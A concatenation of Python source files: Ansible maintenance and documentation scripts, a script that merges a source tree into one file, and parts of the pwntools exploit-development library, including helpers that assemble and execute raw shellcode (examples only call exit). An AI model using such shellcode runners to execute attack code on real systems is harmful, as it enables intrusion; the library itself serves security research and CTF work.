        ungrouped_hosts = [host for host in ungrouped.hosts if host not in grouped_hosts]

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "usage: yaml_to_ini.py /path/to/ansible/hosts"
        sys.exit(1)

    result = ""

    original = sys.argv[1]
    yamlp = InventoryParserYaml(filename=sys.argv[1])
    dirname = os.path.dirname(original)

    group_names = [ g.name for g in yamlp.groups.values() ]

    for group_name in sorted(group_names):

        record = yamlp.groups[group_name]

        if group_name == 'all':
            continue

        hosts = record.hosts
        result = result + "[%s]\n" % record.name
        for h in hosts:
            result = result + "%s\n" % h.name
        result = result + "\n"

        groupfiledir = os.path.join(dirname, "group_vars")
        if not os.path.exists(groupfiledir):
            print "* creating: %s" % groupfiledir
            os.makedirs(groupfiledir)
        groupfile = os.path.join(groupfiledir, group_name)
        print "* writing group variables for %s into %s" % (group_name, groupfile)
        groupfh = open(groupfile, 'w')
        groupfh.write(yaml.dump(record.get_variables()))
        groupfh.close()

    for (host_name, host_record) in iteritems(yamlp._hosts):
        hostfiledir = os.path.join(dirname, "host_vars")
        if not os.path.exists(hostfiledir):
            print "* creating: %s" % hostfiledir
            os.makedirs(hostfiledir)
        hostfile = os.path.join(hostfiledir, host_record.name)
        print "* writing host variables for %s into %s" % (host_record.name, hostfile)
        hostfh = open(hostfile, 'w')
        hostfh.write(yaml.dump(host_record.get_variables()))
        hostfh.close()


    # also need to keep a hash of variables per each host
    # and variables per each group
    # and write those to disk

    newfilepath = os.path.join(dirname, "hosts.new")
    fdh = open(newfilepath, 'w')
    fdh.write(result)
    fdh.close()

    print "* COMPLETE: review your new inventory file and replace your original when ready"
    print "*           new inventory file saved as %s" % newfilepath
    print "*           edit group specific variables in %s/group_vars/" % dirname
    print "*           edit host specific variables in %s/host_vars/" % dirname

    # now need to write this to disk as (oldname).new
    # and inform the user






#!/usr/bin/python
from collections import namedtuple
from ansible.parsing.dataloader import DataLoader
from ansible.vars import VariableManager
from ansible.inventory import Inventory
from ansible.playbook.play import Play
from ansible.executor.task_queue_manager import TaskQueueManager
from ansible.plugins.callback import CallbackBase

# Create a callback object so we can capture the output
class ResultsCollector(CallbackBase):

    def __init__(self, *args, **kwargs):
        super(ResultsCollector, self).__init__(*args, **kwargs)
        self.host_ok     = {}
        self.host_unreachable = {}
        self.host_failed = {}

    def v2_runner_on_unreachable(self, result):
        self.host_unreachable[result._host.get_name()] = result

    def v2_runner_on_ok(self, result,  *args, **kwargs):
        self.host_ok[result._host.get_name()] = result

    def v2_runner_on_failed(self, result,  *args, **kwargs):
        self.host_failed[result._host.get_name()] = result


def main():
    host_list  = ['localhost', 'www.example.com', 'www.google.com']
    Options = namedtuple('Options', ['connection','module_path', 'forks', 'remote_user',
            'private_key_file', 'ssh_common_args', 'ssh_extra_args', 'sftp_extra_args',
            'scp_extra_args', 'become', 'become_method', 'become_user', 'verbosity', 'check'])

    # initialize needed objects
    variable_manager = VariableManager()
    loader = DataLoader()
    options = Options(connection='smart', module_path='/usr/share/ansible', forks=100,
            remote_user=None, private_key_file=None, ssh_common_args=None, ssh_extra_args=None,
            sftp_extra_args=None, scp_extra_args=None, become=None, become_method=None,
            become_user=None, verbosity=None, check=False)

    passwords = dict()

    # create inventory and pass to var manager
    inventory = Inventory(loader=loader, variable_manager=variable_manager, host_list=host_list)
    variable_manager.set_inventory(inventory)

    # create play with tasks
    play_source =  dict(
            name = "Ansible Play",
            hosts = host_list,
            gather_facts = 'no',
            tasks = [ dict(action=dict(module='command', args=dict(cmd='/usr/bin/uptime'))) ]
        )
    play = Play().load(play_source, variable_manager=variable_manager, loader=loader)

    # actually run it
    tqm = None
    callback = ResultsCollector()
    try:
        tqm = TaskQueueManager(
                inventory=inventory,
                variable_manager=variable_manager,
                loader=loader,
                options=options,
                passwords=passwords,
            )
        tqm._stdout_callback = callback
        result = tqm.run(play)
    finally:
        if tqm is not None:
            tqm.cleanup()

    print "UP ***********"
    for host, result in callback.host_ok.items():
        print '{} >>> {}'.format(host, result._result['stdout'])

    print "FAILED *******"
    for host, result in callback.host_failed.items():
        print '{} >>> {}'.format(host, result._result['msg'])

    print "DOWN *********"
    for host, result in callback.host_unreachable.items():
        print '{} >>> {}'.format(host, result._result['msg'])

if __name__ == '__main__':
    main()






#!/usr/bin/env python

# (c) 2014, Will Thames <will@thames.id.au>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

import ansible.constants as C
import sys

def main():
    print(C.DEFAULT_MODULE_PATH)
    return 0

if __name__ == '__main__':
    sys.exit(main())






#!/usr/bin/env python
# (c) 2012, Jan-Piet Mens <jpmens () gmail.com>
# (c) 2012-2014, Michael DeHaan <michael@ansible.com> and others
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

from __future__ import print_function

import os
import glob
import sys
import yaml
import re
import optparse
import datetime
import cgi
import warnings
from collections import defaultdict

from jinja2 import Environment, FileSystemLoader
from six import iteritems

from ansible.utils import module_docs
from ansible.utils.vars import merge_hash
from ansible.utils.unicode import to_bytes
from ansible.errors import AnsibleError

#####################################################################################
# constants and paths

# if a module is added in a version of Ansible older than this, don't print the version added information
# in the module documentation because everyone is assumed to be running something newer than this already.
TO_OLD_TO_BE_NOTABLE = 1.3

# Get parent directory of the directory this script lives in
MODULEDIR=os.path.abspath(os.path.join(
    os.path.dirname(os.path.realpath(__file__)), os.pardir, 'lib', 'ansible', 'modules'
))

# The name of the DOCUMENTATION template
EXAMPLE_YAML=os.path.abspath(os.path.join(
    os.path.dirname(os.path.realpath(__file__)), os.pardir, 'examples', 'DOCUMENTATION.yml'
))

_ITALIC = re.compile(r"I\(([^)]+)\)")
_BOLD   = re.compile(r"B\(([^)]+)\)")
_MODULE = re.compile(r"M\(([^)]+)\)")
_URL    = re.compile(r"U\(([^)]+)\)")
_CONST  = re.compile(r"C\(([^)]+)\)")

DEPRECATED = " (D)"
NOTCORE    = " (E)"
#####################################################################################

def rst_ify(text):
    ''' convert symbols like I(this is in italics) to valid restructured text '''

    try:
        t = _ITALIC.sub(r'*' + r"\1" + r"*", text)
        t = _BOLD.sub(r'**' + r"\1" + r"**", t)
        t = _MODULE.sub(r':ref:`' + r"\1 <\1>" + r"`", t)
        t = _URL.sub(r"\1", t)
        t = _CONST.sub(r'``' + r"\1" + r"``", t)
    except Exception as e:
        raise AnsibleError("Could not process (%s) : %s" % (str(text), str(e)))

    return t

#####################################################################################

def html_ify(text):
    ''' convert symbols like I(this is in italics) to valid HTML '''

    t = cgi.escape(text)
    t = _ITALIC.sub("<em>" + r"\1" + "</em>", t)
    t = _BOLD.sub("<b>" + r"\1" + "</b>", t)
    t = _MODULE.sub("<span class='module'>" + r"\1" + "</span>", t)
    t = _URL.sub("<a href='" + r"\1" + "'>" + r"\1" + "</a>", t)
    t = _CONST.sub("<code>" + r"\1" + "</code>", t)

    return t


#####################################################################################

def rst_fmt(text, fmt):
    ''' helper for Jinja2 to do format strings '''

    return fmt % (text)

#####################################################################################

def rst_xline(width, char="="):
    ''' return a restructured text line of a given length '''

    return char * width

#####################################################################################

def write_data(text, options, outputname, module):
    ''' dumps module output to a file or the screen, as requested '''

    if options.output_dir is not None:
        fname = os.path.join(options.output_dir, outputname % module)
        fname = fname.replace(".py","")
        f = open(fname, 'w')
        f.write(text.encode('utf-8'))
        f.close()
    else:
        print(text)

#####################################################################################


def list_modules(module_dir, depth=0):
    ''' returns a hash of categories, each category being a hash of module names to file paths '''

    categories = dict()
    module_info = dict()
    aliases = defaultdict(set)

    # * windows powershell modules have documentation stubs in python docstring
    #   format (they are not executed) so skip the ps1 format files
    # * One glob level for every module level that we're going to traverse
    files = glob.glob("%s/*.py" % module_dir) + glob.glob("%s/*/*.py" % module_dir) + glob.glob("%s/*/*/*.py" % module_dir) + glob.glob("%s/*/*/*/*.py" % module_dir)

    for module_path in files:
        if module_path.endswith('__init__.py'):
            continue
        category = categories
        mod_path_only = os.path.dirname(module_path[len(module_dir) + 1:])
        # Start at the second directory because we don't want the "vendor"
        # directories (core, extras)
        for new_cat in mod_path_only.split('/')[1:]:
            if new_cat not in category:
                category[new_cat] = dict()
            category = category[new_cat]

        module = os.path.splitext(os.path.basename(module_path))[0]
        if module in module_docs.BLACKLIST_MODULES:
            # Do not list blacklisted modules
            continue
        if module.startswith("_") and os.path.islink(module_path):
            source = os.path.splitext(os.path.basename(os.path.realpath(module_path)))[0]
            module = module.replace("_","",1)
            aliases[source].add(module)
            continue

        category[module] = module_path
        module_info[module] = module_path

    # keep module tests out of becoming module docs
    if 'test' in categories:
        del categories['test']

    return module_info, categories, aliases

#####################################################################################

def generate_parser():
    ''' generate an optparse parser '''

    p = optparse.OptionParser(
        version='%prog 1.0',
        usage='usage: %prog [options] arg1 arg2',
        description='Generate module documentation from metadata',
    )

    p.add_option("-A", "--ansible-version", action="store", dest="ansible_version", default="unknown", help="Ansible version number")
    p.add_option("-M", "--module-dir", action="store", dest="module_dir", default=MODULEDIR, help="Ansible library path")
    p.add_option("-T", "--template-dir", action="store", dest="template_dir", default="hacking/templates", help="directory containing Jinja2 templates")
    p.add_option("-t", "--type", action='store', dest='type', choices=['rst'], default='rst', help="Document type")
    p.add_option("-v", "--verbose", action='store_true', default=False, help="Verbose")
    p.add_option("-o", "--output-dir", action="store", dest="output_dir", default=None, help="Output directory for module files")
    p.add_option("-I", "--includes-file", action="store", dest="includes_file", default=None, help="Create a file containing list of processed modules")
    p.add_option('-V', action='version', help='Show version number and exit')
    return p

#####################################################################################

def jinja2_environment(template_dir, typ):

    env = Environment(loader=FileSystemLoader(template_dir),
        variable_start_string="@{",
        variable_end_string="}@",
        trim_blocks=True,
    )
    env.globals['xline'] = rst_xline

    if typ == 'rst':
        env.filters['convert_symbols_to_format'] = rst_ify
        env.filters['html_ify'] = html_ify
        env.filters['fmt'] = rst_fmt
        env.filters['xline'] = rst_xline
        template = env.get_template('rst.j2')
        outputname = "%s_module.rst"
    else:
        raise Exception("unknown module format type: %s" % typ)

    return env, template, outputname

#####################################################################################
def too_old(added):
    if not added:
        return False
    try:
        added_tokens = str(added).split(".")
        readded = added_tokens[0] + "." + added_tokens[1]
        added_float = float(readded)
    except ValueError as e:
        warnings.warn("Could not parse %s: %s" % (added, str(e)))
        return False
    return (added_float < TO_OLD_TO_BE_NOTABLE)

def process_module(module, options, env, template, outputname, module_map, aliases):

    fname = module_map[module]
    if isinstance(fname, dict):
        return "SKIPPED"

    basename = os.path.basename(fname)
    deprecated = False

    # ignore files with extensions
    if not basename.endswith(".py"):
        return
    elif module.startswith("_"):
        if os.path.islink(fname):
            return  # ignore, its an alias
        deprecated = True
        module = module.replace("_","",1)

    print("rendering: %s" % module)

    # use ansible core library to parse out doc metadata YAML and plaintext examples
    doc, examples, returndocs = module_docs.get_docstring(fname, verbose=options.verbose)

    # crash if module is missing documentation and not explicitly hidden from docs index
    if doc is None:
        sys.stderr.write("*** ERROR: MODULE MISSING DOCUMENTATION: %s, %s ***\n" % (fname, module))
        sys.exit(1)

    if deprecated and 'deprecated' not in doc:
        sys.stderr.write("*** ERROR: DEPRECATED MODULE MISSING 'deprecated' DOCUMENTATION: %s, %s ***\n" % (fname, module))
        sys.exit(1)

    if "/core/" in fname:
        doc['core'] = True
    else:
        doc['core'] = False

    if module in aliases:
        doc['aliases'] = aliases[module]

    all_keys = []

    if not 'version_added' in doc:
        sys.stderr.write("*** ERROR: missing version_added in: %s ***\n" % module)
        sys.exit(1)

    added = 0
    if doc['version_added'] == 'historical':
        del doc['version_added']
    else:
        added = doc['version_added']

    # don't show version added information if it's too old to be called out
    if too_old(added):
        del doc['version_added']

    if 'options' in doc and doc['options']:
        for (k,v) in iteritems(doc['options']):
            # don't show version added information if it's too old to be called out
            if 'version_added' in doc['options'][k] and too_old(doc['options'][k]['version_added']):
                del doc['options'][k]['version_added']
            if not 'description' in doc['options'][k]:
                raise AnsibleError("Missing required description for option %s in %s " % (k, module))

            required_value = doc['options'][k].get('required', False)
            if not isinstance(required_value, bool):
                raise AnsibleError("Invalid required value '%s' for option '%s' in '%s' (must be truthy)" % (required_value, k, module))
            if not isinstance(doc['options'][k]['description'],list):
                doc['options'][k]['description'] = [doc['options'][k]['description']]

            all_keys.append(k)

    all_keys = sorted(all_keys)

    doc['option_keys']      = all_keys
    doc['filename']         = fname
    doc['docuri']           = doc['module'].replace('_', '-')
    doc['now_date']         = datetime.date.today().strftime('%Y-%m-%d')
    doc['ansible_version']  = options.ansible_version
    doc['plainexamples']    = examples  #plain text
    if returndocs:
        try:
            doc['returndocs']       = yaml.safe_load(returndocs)
        except:
            print("could not load yaml: %s" % returndocs)
            raise
    else:
        doc['returndocs']       = None

    # here is where we build the table of contents...

    try:
        text = template.render(doc)
    except Exception as e:
        raise AnsibleError("Failed to render doc for %s: %s" % (fname, str(e)))
    write_data(text, options, outputname, module)
    return doc['short_description']

#####################################################################################

def print_modules(module, category_file, deprecated, core, options, env, template, outputname, module_map, aliases):
    modstring = module
    if modstring.startswith('_'):
        modstring = module[1:]
    modname = modstring
    if module in deprecated:
        modstring = modstring + DEPRECATED
    elif module not in core:
        modstring = modstring + NOTCORE

    category_file.write("  %s - %s <%s_module>\n" % (to_bytes(modstring), to_bytes(rst_ify(module_map[module][1])), to_bytes(modname)))

def process_category(category, categories, options, env, template, outputname):

    ### FIXME:
    # We no longer conceptually deal with a mapping of category names to
    # modules to file paths.  Instead we want several different records:
    # (1) Mapping of module names to file paths (what's presently used
    #     as categories['all']
    # (2) Mapping of category names to lists of module names (what you'd
    #     presently get from categories[category_name][subcategory_name].keys()
    # (3) aliases (what's presently in categories['_aliases']
    #
    # list_modules() now returns those.  Need to refactor this function and
    # main to work with them.

    module_map = categories[category]
    module_info = categories['all']

    aliases = {}
    if '_aliases' in categories:
        aliases = categories['_aliases']

    category_file_path = os.path.join(options.output_dir, "list_of_%s_modules.rst" % category)
    category_file = open(category_file_path, "w")
    print("*** recording category %s in %s ***" % (category, category_file_path))

    # start a new category file

    category = category.replace("_"," ")
    category = category.title()

    modules = []
    deprecated = []
    core = []
    for module in module_map.keys():

        if isinstance(module_map[module], dict):
            for mod in (m for m in module_map[module].keys() if m in module_info):
                if mod.startswith("_"):
                    deprecated.append(mod)
                elif '/core/' in module_info[mod][0]:
                    core.append(mod)
        else:
            if module not in module_info:
                continue
            if module.startswith("_"):
                deprecated.append(module)
            elif '/core/' in module_info[module][0]:
                core.append(module)
        modules.append(module)

    modules.sort(key=lambda k: k[1:] if k.startswith('_') else k)

    category_header = "%s Modules" % (category.title())
    underscores = "`" * len(category_header)

    category_file.write("""\
%s
%s

.. toctree:: :maxdepth: 1

""" % (category_header, underscores))
    sections = []
    for module in modules:
        if module in module_map and isinstance(module_map[module], dict):
            sections.append(module)
            continue
        else:
            print_modules(module, category_file, deprecated, core, options, env, template, outputname, module_info, aliases)

    sections.sort()
    for section in sections:
        category_file.write("\n%s\n%s\n\n" % (section.replace("_"," ").title(),'-' * len(section)))
        category_file.write(".. toctree:: :maxdepth: 1\n\n")

        section_modules = module_map[section].keys()
        section_modules.sort(key=lambda k: k[1:] if k.startswith('_') else k)
        #for module in module_map[section]:
        for module in (m for m in section_modules if m in module_info):
            print_modules(module, category_file, deprecated, core, options, env, template, outputname, module_info, aliases)

    category_file.write("""\n\n
.. note::
    - %s: This marks a module as deprecated, which means a module is kept for backwards compatibility but usage is discouraged.  The module documentation details page may explain more about this rationale.
    - %s: This marks a module as 'extras', which means it ships with ansible but may be a newer module and possibly (but not necessarily) less actively maintained than 'core' modules.
    - Tickets filed on modules are filed to different repos than those on the main open source project. Core module tickets should be filed at `ansible/ansible-modules-core on GitHub <http://github.com/ansible/ansible-modules-core>`_, extras tickets to `ansible/ansible-modules-extras on GitHub <http://github.com/ansible/ansible-modules-extras>`_
""" % (DEPRECATED, NOTCORE))
    category_file.close()

    # TODO: end a new category file

#####################################################################################

def validate_options(options):
    ''' validate option parser options '''

    if not options.module_dir:
        print("--module-dir is required", file=sys.stderr)
        sys.exit(1)
    if not os.path.exists(options.module_dir):
        print("--module-dir does not exist: %s" % options.module_dir, file=sys.stderr)
        sys.exit(1)
    if not options.template_dir:
        print("--template-dir must be specified")
        sys.exit(1)

#####################################################################################

def main():

    p = generate_parser()

    (options, args) = p.parse_args()
    validate_options(options)

    env, template, outputname = jinja2_environment(options.template_dir, options.type)

    mod_info, categories, aliases = list_modules(options.module_dir)
    categories['all'] = mod_info
    categories['_aliases'] = aliases
    category_names = [c for c in categories.keys() if not c.startswith('_')]
    category_names.sort()

    # Write master category list
    category_list_path = os.path.join(options.output_dir, "modules_by_category.rst")
    with open(category_list_path, "w") as category_list_file:
        category_list_file.write("Module Index\n")
        category_list_file.write("============\n")
        category_list_file.write("\n\n")
        category_list_file.write(".. toctree::\n")
        category_list_file.write("   :maxdepth: 1\n\n")

        for category in category_names:
            category_list_file.write("   list_of_%s_modules\n" % category)

    #
    # Import all the docs into memory
    #
    module_map = mod_info.copy()
    skipped_modules = set()

    for modname in module_map:
        result = process_module(modname, options, env, template, outputname, module_map, aliases)
        if result == 'SKIPPED':
            del categories['all'][modname]
        else:
            categories['all'][modname] = (categories['all'][modname], result)

    #
    # Render all the docs to rst via category pages
    #
    for category in category_names:
        process_category(category, categories, options, env, template, outputname)

if __name__ == '__main__':
    main()






#!/usr/bin/env python

import optparse
from jinja2 import Environment, FileSystemLoader

from ansible.playbook import  Play
from ansible.playbook.block import  Block
from ansible.playbook.role import  Role
from ansible.playbook.task import  Task

template_file = 'playbooks_directives.rst.j2'
oblist = {}
clist = []
class_list = [ Play, Role, Block, Task ]

p = optparse.OptionParser(
    version='%prog 1.0',
    usage='usage: %prog [options]',
    description='Generate module documentation from metadata',
)
p.add_option("-T", "--template-dir", action="store", dest="template_dir", default="hacking/templates", help="directory containing Jinja2 templates")
p.add_option("-o", "--output-dir", action="store", dest="output_dir", default='/tmp/', help="Output directory for rst files")

(options, args) = p.parse_args()

for aclass in class_list:
    aobj = aclass()
    name = type(aobj).__name__

    # build ordered list to loop over and dict with attributes
    clist.append(name)
    oblist[name] = {x: aobj.__dict__['_attributes'][x] for x in aobj.__dict__['_attributes']  if 'private' not in x or not x.private}

    # loop is really with_ for users
    if name == 'Task':
        oblist[name]['with_<lookup_plugin>'] = True

    # local_action is implicit with action
    if 'action' in oblist[name]:
        oblist[name]['local_action'] = True

env = Environment(loader=FileSystemLoader(options.template_dir), trim_blocks=True,)
template = env.get_template(template_file)
outputname = options.output_dir + template_file.replace('.j2','')
tempvars = { 'oblist': oblist, 'clist': clist }

with open( outputname, 'w') as f:
    f.write(template.render(tempvars))






#!/usr/bin/python
# long version of this one liner: python -c 'import yaml,sys;yaml.safe_load(sys.stdin)' < yamltest.txt
import yaml
import sys

if len(sys.argv) > 1:
    check_file = open(sys.argv[1])
else:
    check_file = sys.stdin

try:
    yaml.safe_load(check_file)
except yaml.scanner.ScannerError as e:
    sys.exit('Invalid YAML:\n%s' % str(e))

print('valid YAML')






#!/usr/bin/python2 -tt

import glob
import json
import os.path
from distutils.version import LooseVersion

from ansible.module_utils.urls import open_url

basedir = os.path.dirname(__file__)

for filename in glob.glob(os.path.join(basedir, '../lib/ansible/compat/*/__init__.py')):
    if 'compat/tests' in filename:
        # compat/tests doesn't bundle any code
        continue

    filename = os.path.normpath(filename)
    with open(filename, 'r') as module:
        for line in module:
            if line.strip().startswith('_BUNDLED_METADATA'):
                data = line[line.index('{'):].strip()
                break
        else:
            print('WARNING: {0} contained no metadata.  Could not check for updates'.format(filename))
            continue
        metadata = json.loads(data)
        pypi_fh = open_url('https://pypi.python.org/pypi/{0}/json'.format(metadata['pypi_name']))
        pypi_data = json.loads(pypi_fh.read())
        if LooseVersion(metadata['version']) < LooseVersion(pypi_data['info']['version']):
            print('UPDATE: {0} from {1} to {2} {3}'.format(
                metadata['pypi_name'],
                metadata['version'],
                pypi_data['info']['version'],
                'https://pypi.python.org/pypi/{0}/'.format(metadata['pypi_name'])))






#!/usr/bin/env python

"""
This script generated test_cases for test_distribution_version.py.

To do so it outputs the relevant files from /etc/*release, the output of platform.dist() and the current ansible_facts regarding the distribution version.

This assumes a working ansible version in the path.
"""

import platform
import os.path
import subprocess
import json

filelist = [
        '/etc/oracle-release',
        '/etc/slackware-version',
        '/etc/redhat-release',
        '/etc/vmware-release',
        '/etc/openwrt_release',
        '/etc/system-release',
        '/etc/alpine-release',
        '/etc/release',
        '/etc/arch-release',
        '/etc/os-release',
        '/etc/SuSE-release',
        '/etc/gentoo-release',
        '/etc/os-release',
        '/etc/lsb-release',
        '/etc/altlinux-release',
        '/etc/os-release',
        '/etc/coreos/update.conf',
]

fcont = {}

for f in filelist:
    if os.path.exists(f):
        s = os.path.getsize(f)
        if s > 0 and s < 10000:
            with open(f) as fh:
                fcont[f] = fh.read()

dist = platform.dist()


facts = ['distribution', 'distribution_version', 'distribution_release', 'distribution_major_version']
ansible_out = subprocess.Popen(['ansible', 'localhost', '-m', 'setup'], stdout=subprocess.PIPE).communicate()[0]
parsed = json.loads(ansible_out[ansible_out.index('{'):])
ansible_facts = {}
for fact in facts:
    try:
        ansible_facts[fact] = parsed['ansible_facts']['ansible_'+fact]
    except:
        ansible_facts[fact] = "N/A"

nicename = ansible_facts['distribution'] + ' ' + ansible_facts['distribution_version']

output = {
    'name': nicename,
    'input': fcont,
    'platform.dist': dist,
    'result': ansible_facts,
}

print(json.dumps(output, indent=4))







# git clone https://github.com/Gallopsled/pwntools

import glob, os

starting_location = os.getcwd()
outfile = starting_location+'/python_dump.py'
#os.chdir('pwntools-dev')
cwd = os.getcwd()
for directory in os.walk(cwd):
	os.chdir(directory[0])
	for file in glob.glob("*.py"):
		full_path = directory[0]+'/'+file

		with open(full_path,'r') as f:
			contents = f.read()

		with open(outfile,'a') as f:
			f.write(contents+'\n\n\n\n\n\n')







#!/usr/bin/env python2
import glob
import os
import platform
import sys
from distutils.command.install import INSTALL_SCHEMES
from distutils.sysconfig import get_python_inc
from distutils.util import convert_path

from setuptools import find_packages
from setuptools import setup

# Get all template files
templates = []
for dirpath, dirnames, filenames in os.walk(convert_path('pwnlib/shellcraft/templates')):
    for f in filenames:
        templates.append(os.path.relpath(os.path.join(dirpath, f), 'pwnlib'))

# This makes pwntools-LICENSE.txt appear with the package folders
for scheme in INSTALL_SCHEMES.values():
    scheme['data'] = scheme['purelib']

# Find all of the console scripts
console_scripts = []
for filename in glob.glob('pwnlib/commandline/*'):
    filename = os.path.basename(filename)
    filename, ext = os.path.splitext(filename)

    if ext != '.py' or '__init__' in filename:
        continue

    script = '%s=pwnlib.commandline.%s:main' % (filename, filename)
    console_scripts.append(script)

install_requires     = ['paramiko>=1.15.2',
                        'mako>=1.0.0',
                        'pyelftools>=0.2.3',
                        'capstone',
                        'ropgadget>=5.3',
                        'pyserial>=2.7',
                        'requests>=2.0',
                        'pip>=6.0.8',
                        'tox>=1.8.1',
                        'pygments>=2.0',
                        'pysocks',
                        'python-dateutil']

# This is a hack until somebody ports psutil to OpenBSD
if platform.system() != 'OpenBSD':
    install_requires.append('psutil>=2.1.3')

# Check that the user has installed the Python development headers
PythonH = os.path.join(get_python_inc(), 'Python.h')
if not os.path.exists(PythonH):
    print >> sys.stderr, "You must install the Python development headers!"
    print >> sys.stderr, "$ apt-get install python-dev"
    sys.exit(-1)

setup(
    name                 = 'pwntools',
    packages             = find_packages(),
    version              = '3.1.0dev',
    data_files           = [('',
                             ['LICENSE-pwntools.txt',
                             ]),
                            ],
    package_data         = {
        'pwnlib': [
            'data/crcsums.txt',
            'data/useragents/useragents.txt',
            'data/binutils/*',
            'data/includes/*.h',
            'data/includes/*/*.h',
        ] + templates,
    },
    entry_points = {'console_scripts': console_scripts},
    scripts              = glob.glob("bin/*"),
    description          = "CTF framework and exploit development library.",
    author               = "Gallopsled et al.",
    author_email         = "#pwntools @ freenode.net",
    url                  = 'https://pwntools.com',
    download_url         = "https://github.com/Gallopsled/pwntools/releases",
    install_requires     = install_requires,
    license              = "Mostly MIT, some GPL/BSD, see LICENSE-pwntools.txt",
    classifiers          = [
        'Topic :: Security',
        'Environment :: Console',
        'Operating System :: OS Independent',
        'License :: OSI Approved :: MIT License',
        'Programming Language :: Python :: 2.7',
        'Intended Audience :: Developers'
    ]
)






import os
import tempfile

from .context import LocalContext
from .elf import ELF
from .tubes.process import process

__all__ = ['run_assembly', 'run_shellcode', 'run_assembly_exitcode', 'run_shellcode_exitcode']

@LocalContext
def run_assembly(assembly):
    """
    Given an assembly listing, assemble and execute it.

    Returns:

        A ``process`` tube to interact with the process.

    Example:

        >>> p = run_assembly('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
        >>> p.wait_for_close()
        >>> p.poll()
        3

        >>> p = run_assembly('mov r0, #12; mov r7, #1; svc #0', arch='arm')
        >>> p.wait_for_close()
        >>> p.poll()
        12
    """
    return ELF.from_assembly(assembly).process()

@LocalContext
def run_shellcode(bytes, **kw):
    """Given assembled machine code bytes, execute them.

    Example:

        >>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
        >>> p = run_shellcode(bytes)
        >>> p.wait_for_close()
        >>> p.poll()
        3

        >>> bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
        >>> p = run_shellcode(bytes, arch='arm')
        >>> p.wait_for_close()
        >>> p.poll()
        12
    """
    return ELF.from_bytes(bytes, **kw).process()

@LocalContext
def run_assembly_exitcode(assembly):
    """
    Given an assembly listing, assemble and execute it, and wait for
    the process to die.

    Returns:

        The exit code of the process.

    Example:

        >>> run_assembly_exitcode('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
        3
    """
    p = run_assembly(assembly)
    p.wait_for_close()
    return p.poll()

@LocalContext
def run_shellcode_exitcode(bytes):
    """
    Given assembled machine code bytes, execute them, and wait for
    the process to die.

    Returns:

        The exit code of the process.

    Example:

        >>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
        >>> run_shellcode_exitcode(bytes)
        3
    """
    p = run_shellcode(bytes)
    p.wait_for_close()
    return p.poll()






import re

from pygments.lexer import DelegatingLexer
from pygments.lexer import RegexLexer
from pygments.lexer import bygroups
from pygments.lexer import include
from pygments.lexer import using
from pygments.lexers.c_cpp import CLexer
from pygments.lexers.c_cpp import CppLexer
from pygments.lexers.d import DLexer
from pygments.token import Comment
from pygments.token import Keyword
from pygments.token import Name
from pygments.token import Number
from pygments.token import Operator
from pygments.token import Other
from pygments.token import Punctuation
from pygments.token import String
from pygments.token import Text

__all__ = ['GasLexer', 'ObjdumpLexer', 'DObjdumpLexer', 'CppObjdumpLexer',
           'CObjdumpLexer', 'LlvmLexer', 'NasmLexer', 'NasmObjdumpLexer',
           'Ca65Lexer']


class PwntoolsLexer(RegexLexer):
    """
    For Gas (AT&T) assembly code.
    """
    name = 'GAS'
    aliases = ['gas', 'asm']
    filenames = ['*.s', '*.S', '*.asm']
    mimetypes = ['text/x-gas']

    #: optional Comment or Whitespace
    string = r'"(\\"|[^"])*"'
    char = r'[\w$.@-]'
    identifier = r'(?:[a-zA-Z$_]' + char + '*|\.' + char + '+|or)'
    number = r'(?:0[xX][a-zA-Z0-9]+|\d+)'
    memory = r'(?:[\]\[])'
    bad = r'(?:\(bad\))'

    tokens = {
        'root': [
            include('whitespace'),
            (identifier + ':', Name.Label),
            (r'\.' + identifier, Name.Attribute, 'directive-args'),
            (r'lock|rep(n?z)?|data\d+', Name.Attribute),
            (identifier, Name.Function, 'instruction-args'),
            (r'[\r\n]+', Text),
            (bad, Text)
        ],

        'directive-args': [
            (identifier, Name.Constant),
            (string, String),
            ('@' + identifier, Name.Attribute),
            (number, Number.Integer),
            (r'[\r\n]+', Text, '#pop'),

            (r'#.*?$', Comment, '#pop'),

            include('punctuation'),
            include('whitespace')
        ],
        'instruction-args': [
            # For objdump-disassembled code, shouldn't occur in
            # actual assembler input
            ('([a-z0-9]+)( )(<)('+identifier+')(>)',
                bygroups(Number.Hex, Text, Punctuation, Name.Constant,
                         Punctuation)),
            ('([a-z0-9]+)( )(<)('+identifier+')([-+])('+number+')(>)',
                bygroups(Number.Hex, Text, Punctuation, Name.Constant,
                         Punctuation, Number.Integer, Punctuation)),

            # Fun things
            (r'([\]\[]|BYTE|DWORD|PTR|\+|\-|}|{|\^|>>|<<|&)', Text),

            # Address constants
            (identifier, Name.Constant),
            (number, Number.Integer),
            # Registers
            ('%' + identifier, Name.Variable),
            ('$' + identifier, Name.Variable),
            # Numeric constants
            ('$'+number, Number.Integer),
            ('#'+number, Number.Integer),
            (r"$'(.|\\')'", String.Char),
            (r'[\r\n]+', Text, '#pop'),
            include('punctuation'),
            include('whitespace')
        ],
        'whitespace': [
            (r'\n', Text),
            (r'\s+', Text),
            (r'/\*.*?\*/', Comment),
            (r';.*$', Comment)
        ],
        'punctuation': [
            (r'[-*,.():]+', Punctuation)
        ]
    }

    def analyse_text(text):
